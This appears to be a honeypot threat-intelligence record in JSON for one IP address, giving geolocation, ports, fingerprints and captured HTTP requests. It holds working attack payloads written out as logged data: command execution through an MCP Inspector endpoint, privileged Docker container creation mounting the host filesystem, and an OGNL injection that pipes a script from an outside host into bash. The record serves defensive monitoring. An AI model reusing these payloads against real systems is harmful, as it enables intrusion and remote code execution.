{"ip":"185.242.3.238","total_events":25,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":null,"why":["25 event(s), fewer than 10 distinct ports, no exploit payloads.","Not in any known-scanner range."]},"first_seen":"2026-07-10T10:05:11","last_seen":"2026-07-23T20:01:56","events_24h":0,"events_7d":6,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"","city":"","lat":52.3824,"lon":4.8995,"asn":401626,"org":"Netiface America, Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2026-23744","title":"MCPJam Inspector - Remote Code Execution","severity":"CRITICAL","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/mcp/connect"}],"malware":[],"top_ports":[{"port":8090,"proto":"tcp","label":"","count":12},{"port":2375,"proto":"tcp","label":"Docker","count":6},{"port":6274,"proto":"tcp","label":"","count":6},{"port":3000,"proto":"tcp","label":"Web-alt","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["ge11nn0500_2d30dc89d981","ge11nn0400_a29570c58e79","po11nn0500_b4ba55311b46","po11nn0700_7a7c5172e3ad","po11nn0600_2ac1c81be53b"]},"fingerprint_peers":{"po11nn0700_7a7c5172e3ad":31,"ge11nn0400_a29570c58e79":1,"po11nn0600_2ac1c81be53b":1,"ge11nn0500_2d30dc89d981":1231,"po11nn0500_b4ba55311b46":124},"user_agents":["Mozilla/5.0 (compatible; Blaster/2.0)","Go-http-client/1.1","python-requests/2.32.3"],"timeline":[{"date":"2026-07-10","count":12},{"date":"2026-07-12","count":4},{"date":"2026-07-13","count":2},{"date":"2026-07-16","count":1},{"date":"2026-07-23","count":6}],"recent_events":[{"timestamp":"2026-07-23T20:01:56","port":6274,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"109\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:6274\",\"user-agent\":\"python-requests/2.32.3\"}","body":"{\"serverConfig\": {\"command\": \"sh\", \"args\": [\"-c\", \"id\"], \"env\": {\"DISPLAY\": \":1.0\"}}, \"serverId\": \"rce_test\"}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/mcp/connect","summary":"","payload_hex":"504f5354202f6170692f6d63702f636f6e6e65637420485454502f312e310d0a486f73743a20<HONEYPOT>3a363237340d0a557365722d4167656e743a20707974686f6e2d72657175657374732f322e33322e330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a0d0a7b22736572766572436f6e666967223a207b22636f6d6d616e64223a20227368222c202261726773223a205b222d63222c20226964225d2c2022656e76223a207b22444953504c4159223a20223a312e30227d7d2c20227365727665724964223a20227263655f74657374227d","method":"POST","user_agent":"python-requests/2.32.3","community_id":"1:oLqANOwzURjALbQKmXgxSQ9aqic=","ja3":"","session":"12648eb8-ebc6-430f-a411-f81a6bc244f4","seq":1,"duration_ms":100,"bytes_in":326,"bytes_out":78},{"timestamp":"2026-07-23T19:43:20","port":6274,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"109\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:6274\",\"user-agent\":\"python-requests/2.32.3\"}","body":"{\"serverConfig\": {\"command\": \"sh\", \"args\": [\"-c\", \"id\"], \"env\": {\"DISPLAY\": \":1.0\"}}, \"serverId\": \"rce_test\"}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/mcp/connect","summary":"","payload_hex":"504f5354202f6170692f6d63702f636f6e6e65637420485454502f312e310d0a486f73743a20<HONEYPOT>3a363237340d0a557365722d4167656e743a20707974686f6e2d72657175657374732f322e33322e330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a0d0a7b22736572766572436f6e666967223a207b22636f6d6d616e64223a20227368222c202261726773223a205b222d63222c20226964225d2c2022656e76223a207b22444953504c4159223a20223a312e30227d7d2c20227365727665724964223a20227263655f74657374227d","method":"POST","user_agent":"python-requests/2.32.3","community_id":"1:z/hp+JH0fWpFUPRqiykbK2yGD8U=","ja3":"","session":"4e065918-1c6c-4b3a-96ea-7720d62222b6","seq":1,"duration_ms":100,"bytes_in":326,"bytes_out":78},{"timestamp":"2026-07-23T16:58:57","port":6274,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"109\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:6274\",\"user-agent\":\"python-requests/2.32.3\"}","body":"{\"serverConfig\": {\"command\": \"sh\", \"args\": [\"-c\", \"id\"], \"env\": {\"DISPLAY\": \":1.0\"}}, \"serverId\": \"rce_test\"}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/mcp/connect","summary":"","payload_hex":"504f5354202f6170692f6d63702f636f6e6e65637420485454502f312e310d0a486f73743a20<HONEYPOT>3a363237340d0a557365722d4167656e743a20707974686f6e2d72657175657374732f322e33322e330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a0d0a7b22736572766572436f6e666967223a207b22636f6d6d616e64223a20227368222c202261726773223a205b222d63222c20226964225d2c2022656e76223a207b22444953504c4159223a20223a312e30227d7d2c20227365727665724964223a20227263655f74657374227d","method":"POST","user_agent":"python-requests/2.32.3","community_id":"1:0tPLdfhL7SDEFPZwPu53/2shfMU=","ja3":"","session":"a628ba7a-11f3-4e83-91c8-ff418bb7ec4a","seq":1,"duration_ms":100,"bytes_in":326,"bytes_out":78},{"timestamp":"2026-07-23T16:40:44","port":6274,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"109\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:6274\",\"user-agent\":\"python-requests/2.32.3\"}","body":"{\"serverConfig\": {\"command\": \"sh\", \"args\": [\"-c\", \"id\"], \"env\": {\"DISPLAY\": \":1.0\"}}, \"serverId\": \"rce_test\"}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/mcp/connect","summary":"","payload_hex":"504f5354202f6170692f6d63702f636f6e6e65637420485454502f312e310d0a486f73743a20<HONEYPOT>3a363237340d0a557365722d4167656e743a20707974686f6e2d72657175657374732f322e33322e330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a0d0a7b22736572766572436f6e666967223a207b22636f6d6d616e64223a20227368222c202261726773223a205b222d63222c20226964225d2c2022656e76223a207b22444953504c4159223a20223a312e30227d7d2c20227365727665724964223a20227263655f74657374227d","method":"POST","user_agent":"python-requests/2.32.3","community_id":"1:htCe5uKhg3VZzNiY7iZuqW7teXk=","ja3":"","session":"1ba2e467-de03-40f0-9736-151be725d815","seq":1,"duration_ms":100,"bytes_in":326,"bytes_out":78},{"timestamp":"2026-07-23T05:20:49","port":6274,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"109\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:6274\",\"user-agent\":\"python-requests/2.32.3\"}","body":"{\"serverConfig\": {\"command\": \"sh\", \"args\": [\"-c\", \"id\"], \"env\": {\"DISPLAY\": \":1.0\"}}, \"serverId\": \"rce_test\"}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/mcp/connect","summary":"","payload_hex":"504f5354202f6170692f6d63702f636f6e6e65637420485454502f312e310d0a486f73743a20<HONEYPOT>3a363237340d0a557365722d4167656e743a20707974686f6e2d72657175657374732f322e33322e330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a0d0a7b22736572766572436f6e666967223a207b22636f6d6d616e64223a20227368222c202261726773223a205b222d63222c20226964225d2c2022656e76223a207b22444953504c4159223a20223a312e30227d7d2c20227365727665724964223a20227263655f74657374227d","method":"POST","user_agent":"python-requests/2.32.3","community_id":"1:nOqKfYGUiFkJJgMAqZWOzgydgfQ=","ja3":"","session":"9099d90a-390d-4571-8c82-87a34b749802","seq":1,"duration_ms":100,"bytes_in":326,"bytes_out":78},{"timestamp":"2026-07-23T04:51:51","port":6274,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"109\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:6274\",\"user-agent\":\"python-requests/2.32.3\"}","body":"{\"serverConfig\": {\"command\": \"sh\", \"args\": [\"-c\", \"id\"], \"env\": {\"DISPLAY\": \":1.0\"}}, \"serverId\": \"rce_test\"}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/mcp/connect","summary":"","payload_hex":"504f5354202f6170692f6d63702f636f6e6e65637420485454502f312e310d0a486f73743a20<HONEYPOT>3a363237340d0a557365722d4167656e743a20707974686f6e2d72657175657374732f322e33322e330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203130390d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a0d0a7b22736572766572436f6e666967223a207b22636f6d6d616e64223a20227368222c202261726773223a205b222d63222c20226964225d2c2022656e76223a207b22444953504c4159223a20223a312e30227d7d2c20227365727665724964223a20227263655f74657374227d","method":"POST","user_agent":"python-requests/2.32.3","community_id":"1:GtEA1DGfHY1TdOWoySuuLTRTNmQ=","ja3":"","session":"525ee0be-a567-4dd9-a0f3-dfabae491d89","seq":1,"duration_ms":101,"bytes_in":326,"bytes_out":78},{"timestamp":"2026-07-16T19:34:51","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:3000\",\"user-agent\":\"Mozilla/5.0 (compatible; Blaster/2.0)\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20426c61737465722f322e30290d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Blaster/2.0)","community_id":"1:p3f/5LMkhW3GluzVa0nteewbraw=","ja3":"","session":"4fc41fd9-a878-450b-a3c6-145f314c9aec","seq":1,"duration_ms":101,"bytes_in":163,"bytes_out":78},{"timestamp":"2026-07-13T00:17:57","port":2375,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"115\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:2375\",\"user-agent\":\"python-requests/2.32.3\"}","body":"{\"Image\": \"alpine\", \"Cmd\": [\"tail\", \"-f\", \"/dev/null\"], \"HostConfig\": {\"Privileged\": true, \"Binds\": [\"/:/hostfs\"]}}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/create?name=audit_1783901876_23_94_36_141","summary":"","payload_hex":"504f5354202f636f6e7461696e6572732f6372656174653f6e616d653d61756469745f313738333930313837365f32335f39345f33365f31343120485454502f312e310d0a486f73743a20<HONEYPOT>3a323337350d0a557365722d4167656e743a20707974686f6e2d72657175657374732f322e33322e330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203131350d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a0d0a7b22496d616765223a2022616c70696e65222c2022436d64223a205b227461696c222c20222d66222c20222f6465762f6e756c6c225d2c2022486f7374436f6e666967223a207b2250726976696c65676564223a20747275652c202242696e6473223a205b222f3a2f686f73746673225d7d7d","method":"POST","user_agent":"python-requests/2.32.3","community_id":"1:mq3hE/KJnHBz4Kyu96Upbln5RjM=","ja3":"","session":"6fba93fd-b591-4d42-9adb-5db0b2418757","seq":1,"duration_ms":100,"bytes_in":369,"bytes_out":78},{"timestamp":"2026-07-13T00:17:56","port":2375,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:2375\",\"user-agent\":\"python-requests/2.32.3\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/info","summary":"","payload_hex":"474554202f696e666f20485454502f312e310d0a486f73743a20<HONEYPOT>3a323337350d0a557365722d4167656e743a20707974686f6e2d72657175657374732f322e33322e330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"python-requests/2.32.3","community_id":"1:+4yNgQMt5bawNU7X2GbU2dN8zJY=","ja3":"","session":"14f54a2c-5b5b-4580-8432-10851396678e","seq":1,"duration_ms":100,"bytes_in":152,"bytes_out":78},{"timestamp":"2026-07-12T10:41:58","port":2375,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"115\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:2375\",\"user-agent\":\"python-requests/2.32.3\"}","body":"{\"Image\": \"alpine\", \"Cmd\": [\"tail\", \"-f\", \"/dev/null\"], \"HostConfig\": {\"Privileged\": true, \"Binds\": [\"/:/hostfs\"]}}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/create?name=audit_1783852918_5_175_183_132","summary":"","payload_hex":"504f5354202f636f6e7461696e6572732f6372656174653f6e616d653d61756469745f313738333835323931385f355f3137355f3138335f31333220485454502f312e310d0a486f73743a20<HONEYPOT>3a323337350d0a557365722d4167656e743a20707974686f6e2d72657175657374732f322e33322e330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203131350d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a0d0a7b22496d616765223a2022616c70696e65222c2022436d64223a205b227461696c222c20222d66222c20222f6465762f6e756c6c225d2c2022486f7374436f6e666967223a207b2250726976696c65676564223a20747275652c202242696e6473223a205b222f3a2f686f73746673225d7d7d","method":"POST","user_agent":"python-requests/2.32.3","community_id":"1:C07Pqy0ABrEvX9Ez9S6CLiOoWN0=","ja3":"","session":"3b67c8c7-d208-4012-8c9b-c62a252d096c","seq":2,"duration_ms":203,"bytes_in":524,"bytes_out":156}],"http_methods":[{"method":"POST","count":15},{"method":"GET","count":10}],"distinct_ports_total":4,"top_paths":[{"path":"/api/mcp/connect","count":6,"ports":1},{"path":"/info","count":3,"ports":1},{"path":"/rest/widget/1.0/macro","count":3,"ports":1},{"path":"/template/aui/text-inline.vm","count":3,"ports":1},{"path":"/pages/createpage-entervariables.action?spaceKey=%23a%3D%40java.lang.Runtime%40getRuntime%28%29%2C%23b%3D%23a.exec%28%27curl+http%3A%2F%2F45.225.135.18%2Fdeploy.sh+%7C+bash%27%29%2C%23c%3D%40java.io.InputStreamReader%40new%28%23b.getInputStream%28%29%29%2C%23d%3D%40java.io.BufferedReader%40new%28%23c%29%2C%23e%3D%23d.readLine%28%29%2C%23e","count":3,"ports":1},{"path":"/pages/createpage-entervariables.action?spaceKey=ABC&linkCreation=%23a%3D%40java.lang.Runtime%40getRuntime%28%29%2C%23b%3D%23a.exec%28%27curl+http%3A%2F%2F45.225.135.18%2Fdeploy.sh+%7C+bash%27%29%2C%23c%3D%40java.io.InputStreamReader%40new%28%23b.getInputStream%28%29%29%2C%23d%3D%40java.io.BufferedReader%40new%28%23c%29%2C%23e%3D%23d.readLine%28%29%2C%23e","count":3,"ports":1},{"path":"/","count":1,"ports":1},{"path":"/containers/create?name=audit_1783838550_23_94_37_227","count":1,"ports":1},{"path":"/containers/create?name=audit_1783901876_23_94_36_141","count":1,"ports":1},{"path":"/containers/create?name=audit_1783852918_5_175_183_132","count":1,"ports":1}],"distinct_paths_total":10,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Connection","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip, deflate","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"109","notable":false},{"name":"Content-Type","value":"application/json","notable":true},{"name":"Host","value":"<HONEYPOT>:6274","notable":false},{"name":"User-Agent","value":"python-requests/2.32.3","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2026-23744","tag_type":"cve","title":"MCPJam Inspector - Remote Code Execution","severity":"CRITICAL","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/mcp/connect","reference_urls":[]}],"data_as_of":"2026-07-26T10:22:34.758595+00:00"}